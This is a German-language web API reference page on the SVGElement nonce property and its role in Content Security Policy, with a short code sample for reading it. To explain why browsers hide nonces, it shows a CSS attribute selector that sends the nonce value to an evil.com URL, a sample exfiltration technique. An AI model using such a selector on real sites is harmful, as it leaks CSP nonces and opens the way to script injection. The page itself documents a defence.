SVGElement: nonce-Eigenschaft
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since März 2022.
Die nonce-Eigenschaft des SVGElement-Interfaces gibt den Nonce zurück, der von der Content Security Policy verwendet wird, um zu bestimmen, ob ein bestimmter Abruf durchgeführt werden darf.
Wert
Ein String; der kryptografische Nonce oder ein leerer String, wenn kein Nonce gesetzt ist.
Beispiele
>Abrufen eines Nonce-Wertes
In der Vergangenheit unterstützten nicht alle Browser das nonce-IDL-Attribut, daher war es notwendig, einen Workaround wie getAttribute als Fallback zu verwenden:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
Allerdings verbergen neuere Browserversionen nonce-Werte, die auf diese Weise abgerufen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (svg['nonce']) wird die einzige Möglichkeit sein, Nonces zuzugreifen.
Das Verbergen von Nonces hilft zu verhindern, dass Angreifer Nonce-Daten über Mechanismen exfiltrieren, die Daten von Inhaltsattributen abrufen können, wie in diesem CSS-Selektor:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
| Specification |
|---|
| HTML> # dom-noncedelement-nonce> |
Browser-Kompatibilität
Loading…
Siehe auch
HTMLElement.nonce, eine ähnliche Methode für HTML-Elemente.nonceglobales Attribut- Content Security Policy
- CSP:
script-src